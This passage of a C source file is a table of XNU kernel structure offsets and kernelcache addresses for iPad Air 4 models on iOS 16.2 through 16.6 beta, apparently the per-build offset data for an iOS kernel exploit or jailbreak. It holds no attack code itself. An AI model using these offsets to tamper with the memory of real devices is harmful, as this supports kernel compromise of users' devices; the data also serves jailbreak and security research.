.kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ee368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4177f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f4a6a0,\n        },\n\n        // iOS 16.4\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad13,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a481208,\n            .kernelcache__gPhysBase = 0xfffffff007917fc0,\n            .kernelcache__gPhysSize = 0xfffffff007917fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007916198,\n            .kernelcache__perfmon_devices = 0xfffffff00a4bf520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f0864c,\n            .kernelcache__ptov_table = 0xfffffff0078cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4be990,\n            .kernelcache__vm_pages = 0xfffffff0078c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4be988,\n            .kernelcache__vn_kqfilter = 0xfffffff007f57538,\n        },\n\n        // iOS 16.4.1\n\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad13,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a481208,\n            .kernelcache__gPhysBase = 0xfffffff007917fc0,\n            .kernelcache__gPhysSize = 0xfffffff007917fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007916198,\n            .kernelcache__perfmon_devices = 0xfffffff00a4bf520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f0864c,\n            .kernelcache__ptov_table = 0xfffffff0078cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4be990,\n            .kernelcache__vm_pages = 0xfffffff0078c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4be988,\n            .kernelcache__vn_kqfilter = 0xfffffff007f57538,\n        },\n\n        // iOS 16.5\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:08:42 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad13,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a48d288,\n            .kernelcache__gPhysBase = 0xfffffff00791c100,\n            .kernelcache__gPhysSize = 0xfffffff00791c100 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00791a2d8,\n            .kernelcache__perfmon_devices = 0xfffffff00a4cb520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f0c84c,\n            .kernelcache__ptov_table = 0xfffffff0078cf188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ca990,\n            .kernelcache__vm_pages = 0xfffffff0078cbeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ce128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ca988,\n            .kernelcache__vn_kqfilter = 0xfffffff007f5b9d0,\n        },\n\n        // iOS 16.6b1\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:36 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8101\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad13,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a525ab0,\n            .kernelcache__gPhysBase = 0xfffffff0079302a8,\n            .kernelcache__gPhysSize = 0xfffffff0079302a8 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00792e460,\n            .kernelcache__perfmon_devices = 0xfffffff00a565550,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f3108c,\n            .kernelcache__ptov_table = 0xfffffff0078e39c8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a564910,\n            .kernelcache__vm_pages = 0xfffffff0078e0108,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2968,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a564908,\n            .kernelcache__vn_kqfilter = 0xfffffff007f7fbe0,\n        },\n\n\n        // iPad Air 4th Cellular//\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:55 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad13,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a3d1190,\n            .kernelcache__gPhysBase = 0xfffffff00783c0c8,\n            .kernelcache__gPhysSize = 0xfffffff00783c0c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00783a2a8,\n            .kernelcache__perfmon_devices = 0xfffffff00a40c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ef41c4,\n            .kernelcache__ptov_table = 0xfffffff0077ef378,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a40b800,\n            .kernelcache__vm_pages = 0xfffffff0077ec090,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ee328,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a40b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f46780,\n        },\n\n        //iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad13,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a3dd190,\n            .kernelcache__gPhysBase = 0xfffffff00783c1b0,\n            .kernelcache__gPhysSize = 0xfffffff00783c1b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00783a390,\n            .kernelcache__perfmon_devices = 0xfffffff00a4183b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ef80f4,\n            .kernelcache__ptov_table = 0xfffffff0077ef3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a417800,\n            .kernelcache__vm_pages = 0xfffffff0077ec0d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ee368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4177f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f4a6a0,\n        },\n\n        // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad13,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a3dd190,\n            .kernelcache__gPhysBase = 0xfffffff00783c1b0,\n            .kernelcache__gPhysSize = 0xfffffff00783c1b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00783a390,\n            .kernelcache__perfmon_devices = 0xfffffff00a4183b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ef80f4,\n            .kernelcache__ptov_table = 0xfffffff0077ef3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a417800,\n            .kernelcache__vm_pages = 0xfffffff0077ec0d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ee368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4177f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f4a6a0,\n        },\n\n        // iOS 16.4\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad13,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            